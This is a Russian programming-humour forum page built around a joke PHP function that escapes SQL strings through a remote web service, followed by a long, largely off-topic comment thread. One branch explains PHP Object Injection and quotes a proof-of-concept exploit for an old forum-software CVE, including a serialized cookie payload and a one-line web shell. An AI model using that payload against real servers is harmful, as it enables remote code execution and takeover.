1. PHP / Говнокод #25635

    +3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    function mysql_real_escape_string_cloud($string)
    {
        return unserialize(
            file_get_contents("https://mysql-real-escape-string.xyz/php?string="
                . urlencode($string)));
    }

    Запущен сайт https://mysql-real-escape-string.xyz/, предоставляющий функцию «mysql_real_escape_string» в виде сервиса. Имеются три различных формата получения данных (/plain, /json и инновационный /php). Теперь обеспечить абсолютную безопасность базы данных функцией «mysql_real_escape_string» можно из любого языка, поддерживающего «HTTP-запросы»!

    Запостил: gost, 23 Мая 2019

    Комментарии (309) RSS

    • Наш девиз: «Безопасность по ГОСТу»!
      Ответить
    • показать все, что скрытоvanished
      Ответить
      • Раскручу и монетизирую. Буду Premium-план с поддержкой «Base64» продавать.

        Домен соточку стоит, кстати.
        Ответить
      • Я бы джва года копил.
        Ответить
    • показать все, что скрытоvanished
      Ответить
    • показать все, что скрытоvanished
      Ответить
      • Это будет решаться на следующем заседании инициативной группы.
        Ответить
    • > https
      Круто! Можно даже пароли эскейпить перед вставкой в базу.
      Ответить
      • А то! Безопасность — превыше всего.
        Ответить
      • показать все, что скрытоvanished
        Ответить
        • Именно поэтому я за «Cloudflare».
          Сделал «A+» в «SSLLABS», проверь. Выкинуть AES CBC не получится — они в конфиге серверов «Cloudflare» прописаны.

          Кстати говоря, трафик между «Cloudflare» и веб-сервером тоже ходит по HTTPS.
          Ответить
          • показать все, что скрытоvanished
            Ответить
            • Success
              mysql-real-escape-string.xyz is now
              pending inclusion in the HSTS preload list!
              
              Please make sure that mysql-real-escape-string.xyz
              continues to satisfy all preload requirement, or it
              will be removed. Please revisit this site over the
              next few weeks to check on the status of your domain.


              Где подавать заявку на конкурс самых защищённых сайтов?
              Ответить
              • показать все, что скрытоvanished
                Ответить
                • A5
                  Ответить
                • Ага, лучше чем у «Сбербанка», например: https://www.ssllabs.com/ssltest/analyze.html?d=sberbank.ru. Или у «Яндекса» с его «C»: https://www.ssllabs.com/ssltest/analyze.html?d=yandex.ru
                  А у «Госуслуг», на которых миллионы россиян вводят огромное количество персональных данных, «B»: https://www.ssllabs.com/ssltest/analyze.html?d=gosuslugi.ru. А вдобавок сервер ещё и к «Zombie POODLE» уязвим, лол.
                  Ответить
                  • показать все, что скрытоvanished
                    Ответить
                    • Полагаю, что как обычно: распиздяйство, похуизм, распилы и бюрократия. Всем, очевидно, похуй, а кому не похуй — тех посылают нахуй, потому что не положено©.
                      Ответить
                    • На госуслугах поди и IE8 поддерживать приходится?
                      Ответить
                    • > анонимные хуи умеют лучше чем государственный
                      Вся суть

                      Они проебали аусвайсы же еще месяца не прошло
                      Ответить
                      • показать все, что скрытоvanished
                        Ответить
                        • > господин Клишас и Яровая втирают в десна свои небылицы про мифические угрозы из-за рубежа
                          Как-то беззубо, по-моему. Ясно же, что заказчик - один криминальный карлик, который до усрачки боится инторнета.

                          «Все это [интернет] возникло как спецпроект ЦРУ США, так и развивается», - заявил президент на медиафоруме в Санкт-Петербурге в конце апреля.

                          https://www.vedomosti.ru/technology/articles/2014/05/20/medvedev-popravil-putina-zayavivshego-chto-internet-proekt

                          я немного прихуел с того, что этому уже 5 лет
                          Ответить
                          • Вообще-то верно, что Интернет –— это проект США. Но Яровая и её коллеги боятся не этого, а того, что русня всему миру расскажет, какой пиздец творится в России.
                            Ответить
                        • В информационных системах госорганов — от реестра НКО Минюста до московского портала госзакупок — в открытом доступе размещены 360 тыс. записей с личными данными, в том числе сведения о бывших вице-премьерах правительства

                          Среди людей, информация о которых оказалась в открытом доступе, — бывшие вице-премьеры и вице-спикер Госдумы, утверждает Бегтин. На момент публикации, как убедился РБК, в реестре отчетов некоммерческих организаций Минюста среди отчетов «о деятельности некоммерческой организации и персональном составе ее руководящих органов» можно было найти документ фонда поддержки социальных, образовательных, инновационных и спортивных проектов «Ладья». В его президиум входят первый заместитель председателя Госдумы Александр Жуков (в 2004–2011 годах вице-премьер), сопредседатель фонда «Сколково», бывший вице-премьер Аркадий Дворкович, его жена Зумруд Рустамова, телеведущий Владимир Соловьев, представители руководства Нордеа Банка Ирина Мамхегова и Игорь Коган и губернатор Ивановской области Станислав Воскресенский. Их паспортные данные содержались в отчете фонда.
                          Ответить
            • показать все, что скрытоvanished
              Ответить
              • показать все, что скрытоvanished
                Ответить
              • Список, встроенный в Хром и хромоклоны, чтобы когда юзер в первый раз открывает http://mysql-real-escape-string.xyz/ (обычно юзер вводит mysql-real-escape-string.xyz и течёт, а браузер сам подставляет «http»), его автоматически перенаправило на HTTPS-версию, без возможности открыть HTTP.
                Ответить
              • А что помешает взъебать тебя подменой адреса либо днсом либо как взрослые дядьки натом?
                Ответить
            • показать все, что скрытоvanished
              Ответить
            • Позавчера mysql-real-escape-string.xyz добавили в список HSTS preload, проверяй!
              https://chromium-review.googlesource.com/c/chromium/src/+/1630814/2/net/http/transport_security_state_static.json
              Ответить
      • Да уж!
        Ответить
    • Кстати, а unserialize только примитивы десериализует или что-то интересное можно распаковать?
      Ответить
      • показать все, что скрытоvanished
        Ответить
      • Не совсем произвольный код. Можно распаковать произвольный класс с произвольными значениями полей и получить в итоге RCE. Атака называется «PHP Object Injection»: https://www.netsparker.com/blog/web-security/untrusted-data-unserialize-php/, в реальности волне используется (мне вот эта CVE запомнилась: https://www.cvedetails.com/cve/CVE-2012-5692/).
        Ответить
        • Хм, причём эта распаковка по-умолчанию включена.
          Ответить
        • Осталось только 1С Укол и я видел всё.
          Ответить
        • Посмотрел первую ссылку. Дыра там не из-за unserialize, а из-за того, что имя файла не проверяется, что позволяет создать файл с произвольным содержимым в document root.
          Ответить
          • Нет, это именно дыра «unserialize». Подразумевается, что класс «Logging» — внутренний, пользователи о нём не знают и на его содержимое никак влиять не могут, все его поля — доверенные (из конфига получены, например).

            Вот описание реальной CVEшки, ссылку на которую я последней кинул:
            [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 
                  
                4015.        static public function get($name) 
                4016.        { 
                4017.            // Check internal data first 
                4018.            if ( isset( self::$_cookiesSet[ $name ] ) ) 
                4019.            { 
                4020.                return self::$_cookiesSet[ $name ]; 
                4021.            } 
                4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 
                4023.            { 
                4024.                $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 
                4025.    
                4026.                if ( substr( $_value, 0, 2 ) == 'a:' ) 
                4027.                { 
                4028.                    return unserialize( stripslashes( urldecode( $_value ) ) ); 
                4029.                } 
                  
                The vulnerability is caused due to this method unserialize user input passed through cookies without a proper 
                sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts 
                with 'a:',  but this is not  sufficient to prevent a  "PHP Object Injection"  because an attacker may send  a 
                serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code 
                via the  "__destruct()" method of the  "dbMain" class,  which calls the "writeDebugLog" method to write debug 
                info into a file.  PHP code may  be injected  only through the  $_SERVER['QUERY_STRING']  variable,  for this 
                reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
            Ответить
            • Нужно добавить php_really_safe_unserialize.
              Ответить
            • > requires short_open_tag to be enabled
              Почему?
              Ответить
              • Давайте подумаем. Настройка short_open_tag позволяет использовать <? вместо <?php (на тег <?= она не влияет).

                Может быть, <?php где-то фильтруется?
                Ответить
                • А, дошло. "<?php" требует пробел.
                  Ответить
                  • И правда. Без пробела интерпретируется как plain text, даже если начать со скобки или с точки с запятой, а шорт-теги пробела не требуют.
                    Ответить
                    • В комментах пишут, что нужно именно <\?php\s — то есть с любым пробельным символом, включая табуляцию и перенос строки.
                      Ответить
                      • $phpcode у нас передаётся GET-параметром, значит, urlencoded. Что, если передать <?php%20, чтобы не зависеть от настроек?
                        Ответить
                        • В общем, у нас есть класс «class db_driver_mysql extends db_main_mysql implements interfaceDb», есть, соответственно, класс «db_main_mysql», в котором есть метод __destruct:
                          public function __destruct()
                          	{
                          		$this->return_die = true;
                          		
                          		if ( count( $this->obj['shutdown_queries'] ) )
                          		{
                          			foreach( $this->obj['shutdown_queries'] as $q )
                          			{
                          				$this->query( $q );
                          			}
                          		}
                          		
                          		$this->writeDebugLog( '{end}', '', '' );
                          
                          		$this->obj['shutdown_queries'] = array();
                          		
                          		$this->disconnect();
                          	}


                          А метод writeDebugLog выглядит вот так (часть кода вырезана):
                          public function writeDebugLog( $query, $data, $endtime, $fileToWrite='', $backTrace=FALSE )
                          	{
                          		$fileToWrite = ( $fileToWrite ) ? $fileToWrite : $this->obj['debug_log'];
                          		if ( ( $this->obj['use_debug_log'] AND $this->obj['debug_log'] ) OR ( $this->obj['use_bad_log'] AND $this->obj['bad_log'] )  OR ( $this->obj['use_slow_log'] AND $this->obj['slow_log'] ) )
                          		{
                          // ...
                          			else if ( $query == '{end}' AND ( $this->obj['use_debug_log'] AND $this->obj['debug_log'] ) )
                          			{
                          				$_string  = "\n==============================================================================";
                          				$_string .= "\n=========================		END	   ===================================";
                          				$_string .= "\n========================= " . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'] . " ===================================";
                          				$_string .= "\n==============================================================================";
                          			}
                          // ...
                          			if ( $_string AND $FH = @fopen( $fileToWrite, 'a' ) )
                          			{
                          				@fwrite( $FH, $_string );
                          				@fclose( $FH );
                          			}

                          Эксплойт создаёт объект db_driver_mysql и устанавливает в нём поля use_debug_log в 1 и debug_log в «public/sh.php». Таким образом, после уничтожения созданного объекта, в файл public/sh.php, доступный для выполнения, записывается куча знаков «=» и не декодированное содержимое $_SERVER['QUERY_STRING'] (в котором пробелов быть не может). Дальше — дело техники.
                          Ответить
                          • > записывается
                            > доступный для выполнения
                            Именно поэтому я за раздельные каталоги для данных и скриптов.
                            Ответить
                            • А оно б не помогло, волшебные «..» приведут нас к RCE быстрее клубка Ариадны. Возможность записать произвольные данные по произвольному пути практически всегда эквивалентна полному доступу к серверу.
                              Ответить
                              • При раздельных каталогах можно лишить процесс «php» доступа к записи в каталог, в котором лежат интерпретируемые скрипты. Не все же запускают «php» от рута.
                                Ответить
                              • Я о том, что у скрипта не должно быть прав на сраньё в каталог с кодом. И наоборот. Понятно что и тут можно засрать какие-то другие файлы с данными... Но RCE уже не так тривиально.
                                Ответить
                                • показать все, что скрытоvanished
                                  Ответить
                                  • С ридонли некоторые CMS не будут работать.
                                    Ответить
                                    • > некоторые CMS
                                      Потому что они за каким-то хуем правят свой конфиг?
                                      Ответить
                                      • Есть куча вариантов, для чего им нужно что-то записывать:

                                        1. Как ты уже заметил, для самомодифицирующегося конфига.

                                        2а. Каталог для кэша. Например, форум предварительно кокококомпилирует бэбэкоды или мракдаун в HTML, чтобы не кокококомпилировать при каждом просмотре, но сохраняет не в базу, а в файлы.

                                        2б. Или компилирует LESS/SASS в CSS. Или минимизирует и обфусцирует JS. Компиляция CSS или JS требуется раз в сто лет, когда дизайнер что-то подправит, но всё-таки иногда требуется.

                                        3. Каталог для котиков и собачек, загруженных юзером.
                                        Ответить
                                        • > самомодифицирующегося конфига
                                          Имхо, в конфиге должны быть только иммутабельные настройки, которые задаёт админ - параметры коннекта к СУБД, пути к логам и т.п. Остальное в базу.
                                          Ответить
                                        • показать все, что скрытоvanished
                                          Ответить
                                        • > 3. Каталог для котиков и собачек, загруженных юзером.
                                          Кстати, в конфиге «Apache» мельком видел какую-то опцию, которая запрещает выполнение скриптов из определённых директорий. То есть если хакер загрузит нам в /images/ какой-нибудь shell.php, «Апач» этот шелл выдаст в text/plain.
                                          Ответить
                                          • Ну хакер всё ещё может подменить какую-то картинку. А в худшем случае - насрать в кеш скомпиленных js'ок.
                                            Ответить
                                            • Кстати, если с правами доступа как-то не очень, то на сервере с «Apache» можно насрать в файл .htaccess и этим самым перекрыть некоторые опции конфига для конкретной директории.
                                              Ответить
                                              • Мне ещё нравится "index.php" как защита от Апача (иначе он покажет список файлов). Архитектура!
                                                Ответить
                                                • Так вот откуда был позаимствован __init__.py!
                                                  Ответить
                                              • показать все, что скрытоvanished
                                                Ответить
                                                • показать все, что скрытоvanished
                                                  Ответить
                                                • Выше привели несколько примеров, когда разрешать приходится. На мой взгляд, самый «чистый» — фоточки юзеров, которые потом надо отдавать другим юзерам.
                                                  Ответить
                                                  • Теоретически фоточки юзеров можно хранить как BLOB в СУБД. Но это переголова, потому что другим юзерам их средствами голого сервера не покажешь: нужно парсить запрос, опрашивать СУБД, планировать отдачу содержимого...
                                                    Ответить
                                                    • показать все, что скрытоvanished
                                                      Ответить
                                                    • Сразу лить в S3. Тогда даже другие серваки смогут показывать их.
                                                      Ответить
                                                      • И гомоиконы микросервисы!

                                                        А вообще, кмк, достаточно будет разрешения на запись только в /.../site/user_images/ и запрет выполнения скриптов оттуда же. Я в чмодах и човнах плохо понимаю, можно же сделать юзера, который будет иметь доступ на запись в /.../site/user_images/, но при этом не иметь — в /.../site/cgi-bin/?
                                                        Ответить
                                                        • Прикол в том, что у PHP скриптов нет прав на исполнение. Т.е. реально запретить их исполнение можно только в настройках апача.
                                                          Ответить
                                                          • Ну это-то понятно, я о записи волнуюсь — чтобы www мог писать только в одну папку, и даже если через дыру в скриптах туда запишут скрипт — он не выполнится из-за настроек апача. А вот если защиты от записи нет — легко можно записать какой-нибудь «../cgi-bin/shell.php».
                                                            Ответить
                                                            • На нормальном серваке само собой можно. А на говношаредах походу придётся соснуть даже с самой идеей про джве папки.
                                                              Ответить
                                                              • Шареды бывают разные. Бывают с папкой htdocs, где всё вперемешку: и скрипты и статика. А бывают с двумя папками: htdocs со статикой и lib со скриптами (имена могут быть и другими). Бывают ещё шареды на «Апаче», в которых в каждую папку можно класть файл .htaccess, в котором запрещать исполнение скриптов.

                                                                Но в любом случае с защитой от записи в шаредах обычно никак, поэтому в последнем случае (шаред на «Апаче») зачастую можно хакнуть .htaccess.
                                                                Ответить
                                                            • Итого: нужно фильтровать передаваемое имя файла, чтобы в нём не было слешей.
                                                              Ответить
                                                              • В идеале передаваемые клиентом имена файлов вообще никак не должны влиять на названия файлов в ФС сервера. Я рассматриваю способы защиты от таких уязвимостей, в которых атакующий получает возможность записать произвольные данные в файл с произвольным именем; образцово-показательный пример такой уязвимости лежит в начале ветки.
                                                                Ответить
                                          • В «nginx» и в «lighttpd» наоборот, нужно явно разрешать выполнение скриптов из перечисленных директорий. Более того, можно в разных директориях пользоваться разными интерпретаторами.
                                            Ответить
                                          • показать все, что скрытоvanished
                                            Ответить
                                        • З.Ы. Емнип, та же джумла себя довольно адекватно вела в r/o каталоге - просила вручную поправить конфиг, распаковать плагин и т.п....
                                          Ответить
                                      • 4. Я видел движок, который за каким-то интересом часть данных хранит в «SQLite». Разработчик считает, что хранение части данных в «SQLite» вместо основной базы увеличивает пирфоманс, он же «лайт».
                                        Ответить
                                        • Может и да, но фишка sqlite в том что он масенький, именно поэтому он используется на ведроидах.
                                          Ответить
                                          • Он используется не только на ведроидах. Хром и Фуррифокс в sqlite хранят куки и кэш. Sqlite хорош для клиентских приложений.

                                            Почему sqlite не очень хорош на серверах:

                                            1. Он увеличивает количество запросов к файловой системе (и на запись тоже). На OpenVZ, например, где запросы к модулям ядра шарятся между виртуальными машинами, это приведёт к потере производительности.

                                            2. Если sqlite не является основной базой, то мы теряем некоторые функции, например оптимизированные джойны с основными таблицами.

                                            3. Блокировки пофайловые. Мы не можем заблокировать отдельную запись и даже отдельную таблицу. И вообще там с транзакциями какая-то фигня.

                                            В принципе, sqlite пригодна для хранения тех самых настроек сайта.
                                            Ответить
                                            • А ещё в "sqlite" нет типов у колонок. Но в вебе, конечно, всем похуй.
                                              Ответить
                                              • Хм, в «SQLite» поддерживаются типы «INTEGER», «REAL», «TEXT» и «BLOB», при этом все они неявно преобразуются друг в друга по запутанным правилам, а статическая типизация отсутствует… Ба! Да это же прямо как в «PHP»! Именно поэтому пэхапэшники за «SQLite».
                                                Ответить
                                                • > статическая типизация отсутствует
                                                  Забавно, но для integer primary key она таки работает.
                                                  Ответить
                                              • SQL без DDL? Это же лайт, а скорее NoSQL.
                                                Ответить
                                                • DDL там есть. Просто типы для красоты. Только integer primary key что-то проверяет, в остальные колонки любую хуйню можно пихать.
                                                  Ответить
                                  • > что-то куда-то писать
                                    Загруженные файлы куда-то сохранять надо.

                                    З.Ы. Или сразу в S3?
                                    Ответить
                                • И то верно.
                                  Ответить
          • И PoC:
            // ...
            $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"public/sh.php";}}}'); 
            $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; 
              
            $packet  = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; 
            $packet .= "Host: {$host}\r\n"; 
            $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; 
            $packet .= "Connection: close\r\n\r\n";
            Ответить
          • показать все, что скрытоvanished
            Ответить
          • показать все, что скрытоvanished
            Ответить
        • показать все, что скрытоvanished
          Ответить
          • показать все, что скрытоvanished
            Ответить
          • > нахера вообще его юзать
            Внутри периметра - вай нот? Да и клиенту можно одолжить на время если обмазать подписью или HMAC'ом.
            Ответить
            • показать все, что скрытоvanished
              Ответить
              • Там можно белый список классов передать. Просто по-умолчанию за каким-то хуем распаковывает всё подряд...
                Ответить
              • Там ещё и багры забавные:
                Внимание
                FALSE возвращается как в случае ошибки, так и в случае,
                если десериализуется сериализованное значение FALSE.
                Этот особый случай можно отловить, используя сравнение
                str со значением serialize(false), или перехватив сгенерированную ошибку E_NOTICE.


                > используя сравнение str со значением serialize(false)
                Официальная дока, между прочим. Какой PHP-way )))

                Just a note - if the serialized string contains a reference to a class that
                cannot be instantiated (e.g. being abstract) PHP will immediately die
                with a fatal error. If the unserialize() statement is preceded with a '@'
                to avoid cluttering the logs with warns or notices there will be absolutely
                no clue as to why the script stopped working. Cost me a couple of hours...

                Классический случай стрельбы в ногу.
                Ответить
                • показать все, что скрытоvanished
                  Ответить
                  • Это не PHP-way. PHP-way — это писать собачку перед каждым вызовом и течь молча глотать любые ошибки, а то они же логи забивают!
                    Ответить
                    • PHP-way - это кидать исключение / триггерить нотис / ворнинг / фатал еррор / возвращать FALSE / NULL в зависимости от того, с какой ноги сегодня встал автор функции. Поэтому пыхомакаки обязательно пишут еррор хендлер, кидающий исключение в любой непонятной ситуации, что б иметь хоть какую-то кокококонсистентность.
                      Именно поэтому я за C.
                      Ответить
          • В Питоне — да, в «PHP» — только поля.
            Anatomy of a serialize()'ed value:
            
            String
            s:size:value;
            
            Integer
            i:value;
            
            Boolean
            b:value; (does not store "true" or "false", does store '1' or '0')
            
            Null
            N;
            
            Array
            a:size:{key definition;value definition;(repeated per element)}
            
            Object
            O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
            
            String values are always in double quotes
            Array keys are always integers or strings
                "null => 'value'" equates to 's:0:"";s:5:"value";',
                "true => 'value'" equates to 'i:1;s:5:"value";',
                "false => 'value'" equates to 'i:0;s:5:"value";',
                "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
                array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
                 and
                attempting to use an object as a key will result in the same behavior as using an array will.
            Ответить
    • Зачем гей-рубистов обидели? Добавьте в ридми
      require 'uri'
      require 'net/http'
      
      module Kernel
        def mysql_real_escape_string_cloud(string)
          Net::HTTP.get URI('https://mysql-real-escape-string.xyz/plain?string=' + URI.encode(string))
        end
      end
      
      puts mysql_real_escape_string_cloud "some'data"
      Ответить
      • За "гей-рубистов" тебя роскомговно покусает.
        Ответить
      • Это мы не со зла, это мы по незнанию. Исправили!
        Ответить
    • Есть режим, чтобы можно было писать mysql_query(eval(mysql_real_escape_strin g_cloud($string))) ?
      Ответить
    • Добрый день!

      Планируется ли аналогичный сервис для htmlspecialchars?
      Ответить
    • показать все, что скрытоvanished
      Ответить
      • Гвфорум до сих пор на говнореконструкции.
        Ответить
    • Error 526 Ray ID: 51a671a66ff09057 • 2019-09-22 18:46:50 UTC
      Invalid SSL certificate

      У меня блять продакшен под угрозой. Чо за хуйня когда почините???
      Ответить
    • показать все, что скрытоvanished
      Ответить
    • Только у меня не работает?!
      Ответить
    • показать все, что скрытоvanished
      Ответить
      • показать все, что скрытоvanished
        Ответить
      • > где его менять в новом интерфейсе

        Administrative settings в настройках языков.
        Ответить
      • на какие только гнусные поступки не идут люди, лишь бы не ставить прыщи
        Ответить
        • На английскую gentoo поставили русский лангвидж пак. Мало того, что он не переключил системную локаль (и вообще не понятно где её менять в новом интерфейсе, если не через vim) так ещё и поиск сломался и ебилды перестали собираться. Переставил ленгвидж пак -- не помогло.
          Ответить
          • показать все, что скрытоvanished
            Ответить
          • справедливости ради в коляске системный язык довольно несложно меняется мышкой, не надо ничего даже с сайта микросовт скачивать, МУИ хуи, тьфу блять
            и даже потом папки в хоуме новые создаст под документы/загрузки вот это всё (только ещё и старые оставит, если они были не пустые)
            Ответить
        • показать все, что скрытоvanished
          Ответить
      • Кстати всегда было интересно как такую хуйню как винда нормально протестить
        Тестировщиков в майкрософт убрали, типа каждый дев ответственен за фичу до конца но если есть 123456 конфигураций и корнер-кейсов то хуй че ты сделаешь
        Что характерно, задры которые генерируют всякие корнер-кейсы еще и отключают себе телеметрию чем убивают визибилити прода винды
        Ответить
        • Отключил телеметрию - разбирайся со своими косяками сам. Как-то так.

          Точно так же как с опломбированной техникой. Залез внутрь? Хуй тебе, а не гарантия.
          Ответить
        • показать все, что скрытоvanished
          Ответить
          • https://docs.microsoft.com/en-us/azure/devops/learn/devops-at-microsoft/evolving-test-practices-microsoft
            Ответить
            • показать все, что скрытоvanished
              Ответить
              • справедливости ради, хуевое качество по я наблюдаю не только в винде так что дело не только в qa
                Ответить
                • показать все, что скрытоvanished
                  Ответить
                  • Всё норм, главное вовремя объявить это прогрессивной методологией.
                    Ответить
                  • В статье была описана довольно жизненная ситуация которую я встречал: девы выкидывают говнокод на автоматизаторов, автоматизаторы все корнер кейсы высыпали на мануальщиков а мануальщики жрали говно и тестирование и стабилизация после говнорелиза в итоге становятся узким местом
                    У меня есть знакомые которые пилят интерпрайз для банков без qa так что наверное жить можно
                    Ответить
                    • показать все, что скрытоvanished
                      Ответить
                      • >Это фикситься автоматизацией корнер кейсов
                        Ну вот разрабы сами себе и автоматизируют
                        Ответить
                        • > интерпрайз для банков без qa
                          ну там обычно не "хуяк хуяк и в прод" принято, а сука документ Программа и методики испытаний, который должен быть пройден полностью, чтобы комиссия подписала акт о приемке

                          если нет QA, то до сдачи кто-то да должен его пройти (обычно, десятки раз), иначе на сдаче будет факап и ты денег не получишь

                          но если внутренний отдел при банке, тогда да, уже никто не занимается такой бюрократией, из контекста не ясно
                          Ответить
                          • Деталей не знаю, но это скорее всего не сама платежка так что я припиздел
                            Ответить
                        • показать все, что скрытоvanished
                          Ответить
                • вероятно, тестировщиков ёбнули не только в МС

                  иногда попадаются конторы, в т.ч. зарубежные, которые такие: а у нас нет QA, у нас девелоперы пишут ui tests и текут

                  ну, до свидания, значит
                  Ответить
    • показать все, что скрытоvanished
      Ответить
    • Не работает.
      Ответить
    • показать все, что скрытоvanished
      Ответить
      • !!!
        Ответить
      • КООО-КОКО ООКОК!
        Быстрее!
        Сейчас мы стаей питухов налетим!
        Ответить
        • показать все, что скрытоvanished
          Ответить
          • так там и рендеринг тормозит
            Ответить
            • показать все, что скрытоvanished
              Ответить
              • 2 pulse wave generators, 1 PCM 4-bit wave sample (64 4-bit samples played in 1×64 bank or 2×32 bank) channel, 1 noise generator, and one audio input from the cartridge.[34] The unit has only one speaker, however the headphone port outputs stereo sound.
                Ответить
                • показать все, что скрытоvanished
                  Ответить
                  • В 1993-ом году сохранением при помощи батарейки уже сложно было кого-то удивить
                    Ответить
                    • показать все, что скрытоvanished
                      Ответить
                      • https://www.dkoldies.com/blog/-complete-list-of-nintendo-nes-games-with-save-batteries/

                        большинство игр на NES проходились за час-полтора (опытными игроками, разумеется), там вообще хватало системы паролей.

                        и вообще это зависит не от клона приставки, а от картриджа

                        у меня на MD на пиратских картриджах отсека под батарейку не было никогда (потому что это же дорого)
                        а на оригинальных были конечно
                        Ответить
                        • показать все, что скрытоvanished
                          Ответить
                          • > как стать этим опытным

                            Ну как... берёшь картридж с батлтодсами и полгода ебашишь. Блин, я вот и сейчас почти всё могу пройти кроме долбаных крыс-камикадзе...
                            Ответить
                          • так а в чём проблема с опытом

                            денди это ж не только жабы

                            всякие чипидейлы, русалочки, феликсы и прочие игры для младшего школьного возраста реально пройти за час (русалочку за полчаса лол)

                            с джангл буками и джурассик парками посложнее, но тоже в пределах разумного

                            ты сказал, что на NES такого почти не делали, я тебе скинул список
                            Ответить
                            • я сказал, что в NES не делали обычно батареек, а в GB делали
                              Ответить
                              • а ты вообще держал в руках оригинальные NES-картриджи?

                                я - нет
                                Ответить
                                • показать все, что скрытоvanished
                                  Ответить
                                  • и чо, у тебя был картридж из списка выше и там не было батарейки?
                                    Ответить
                                    • а)
                                      извини, у нас коммуникейшен факап случился, или я прочитал по диагонали.

                                      Нет, именно этих я не видел. Раз написано, что там есть батарейка, значит есть. Тогда верю.

                                      Я играл в симпсонов, мегамена, бетмена и в кучу разных марио. Остальное только на эмуляторе
                                      Ответить
                                      • вот мегамен такая типа популярная игра. и метроид тоже.

                                        а в моём кругу в детстве никто в них не играл. наверное, потому что в семь лет интереснее игры по знакомым мультикам
                                        Ответить
                                        • У меня была одна из частей мегамена. И это пиздец, я х.з. каким задротом надо быть, чтобы его пройти. Меня максимум на пару уровней хватало, потом жизни кончались.
                                          Ответить
                                          • Мне четвертый нравился: там можно было с помощью паролей "сохраняться". Он пиздец сложный, но там была стратегия: нужно было босов убивать в правильном порядке, и переиспользовать их оружие
                                            Ответить
                                        • мегаменов было охулион, и везде, угу)


                                          во второй метроид я играл на геймбое, и там можно было сохраняться. Мрачновая игра, и по звуку, и по атмосфере. Я ее прошел, в конце Самус Эрен бежит)
                                          Ответить
                                          • Мне четвертый нравился: там можно было с помощью паролей "сохраняться". Он пиздец сложный, но там была стратегия: нужно было босов убивать в правильном порядке, и переиспользовать их оружие

                                            зы: у мегамена очень крутой саундтрек был, мне в детстве нравился

                                            https://youtu.be/Z8v_aLnf9Iw?t=292
                                            или вот
                                            https://youtu.be/Z8v_aLnf9Iw?t=1468
                                            Ответить
                                          • по метроиду офигенный хентай. да что там, там новые игры сами местами как хентай
                                            Ответить
                                            • господи, на что только ни дрочат

                                              Она же вроде робот?
                                              Ответить
                                              • Самус? нет, обычная деваха ультрамодельной внешности, просто в костюме

                                                без костюма как-то так:
                                                https://youtu.be/bQRNaBRCGyc?t=158 (это реальная игра, не хентай)
                                                Ответить
                                      • кстати, вспомнил прикол про MD

                                        у меня был картридж (вроде Light Crusader, но точно не помню). на моём клоне мегадрайва игра шла на английском языке, а у кореша на оригинальном дженезисе на японском )))
                                        Ответить
                                        • Я увидел Light Crusader на каком-то клоне сеги как раз, и он был на японском. И это был ад, конечно, пушо нихя не понятно
                                          Ответить
                                          • так прикол в том, что в картридже сразу локализация

                                            и язык выбирается в зависимости от захардкодженного региона приставки

                                            а игра зачётная, одна из лучших на платформе на мой взгляд. и с батарейкой, кстати)
                                            Ответить
                                            • это я понял) и поди еще сломать можно, если знать как это делается
                                              Ответить
                                              • кстати, на мегамене очень хорошо видать разницу менталитетов

                                                Япония
                                                https://upload.wikimedia.org/wikipedia/en/9/9b/Rockman_1987.jpg

                                                Европа
                                                https://images.nintendolife.com/5a4474b50ca57/eu.original.jpg

                                                США
                                                https://media.gamestats.com/gg/image/MegaMan1_NESBOX.jpg
                                                Ответить
              • > Чем больше акторов -- тем пиздецовее.
                - спасибо, кэп

                Это хорошо известно по NES и SMB, где вроде одновременно на экране могло быть не более трёх анимированных объектов
                Ответить
                • показать все, что скрытоvanished
                  Ответить
                • Не, у NES дофига аппаратных спрайтов было, намного больше трёх. Просто чем больше объект - тем больше спрайтов ты на него тратишь. А больших боссов вообще тупо на фоновом слое рисовали, благо у него тоже аппаратный скроллинг.
                  Ответить
                  • показать все, что скрытоvanished
                    Ответить
                    • Там всё через 8х8 знакогенераторы шло. У каждого из 64 (загуглил таки) спрайтов ты указываешь координаты и код "символа". И видюха их рисует в нужном месте. Бекграунд тоже из "символов", но он чуть больше экрана и можно оффсет задать чтобы попиксельно скроллить.
                      Ответить
                  • не, я именно про SMB. только с цифрами напутал

                    https://kb.speeddemosarchive.com/Super_Mario_Bros.#Despawning

                    There can only be 5 "enemies" at once on the screen. The following count towards this total: living enemies, dead enemies as long as their sprite is still on the screen, all moving platforms, climbing vines
                    When there are already 5 enemies on the screen, further enemies will simply not appear.
                    Ответить
                    • Ну в первых играх ещё кодить не научились, да и на железе экономили.

                      Зато потом и дополнительную RAM в картридж стали пихать (все игры где скроллинг одновременно по горизонтали и вертикали) и ROM под сотню килобайт. Вот там уже было где развернуться.
                      Ответить
                      • ну это не совсем на мой взгляд из первых игр (обычный Mario Bros, например, вышел за два года до), но да, середина 80-х, все дела

                        вообще круто, да, что можно было сделать апгрейд платформе при помощи носителя? сегодня так хер получится даже при желании :-)
                        Ответить
                        • обычный, это где они в канализации с луиджи?

                          SMB это 1986, доволно древне. Еще были SMB2 (в Японии это продолжене SMB со сложными уровнями, а в США это адаптация японской Doku Doku Panic), и SMB3. Очень крутые для того времени
                          Ответить
    • Не работает.
      Ответить

    Добавить комментарий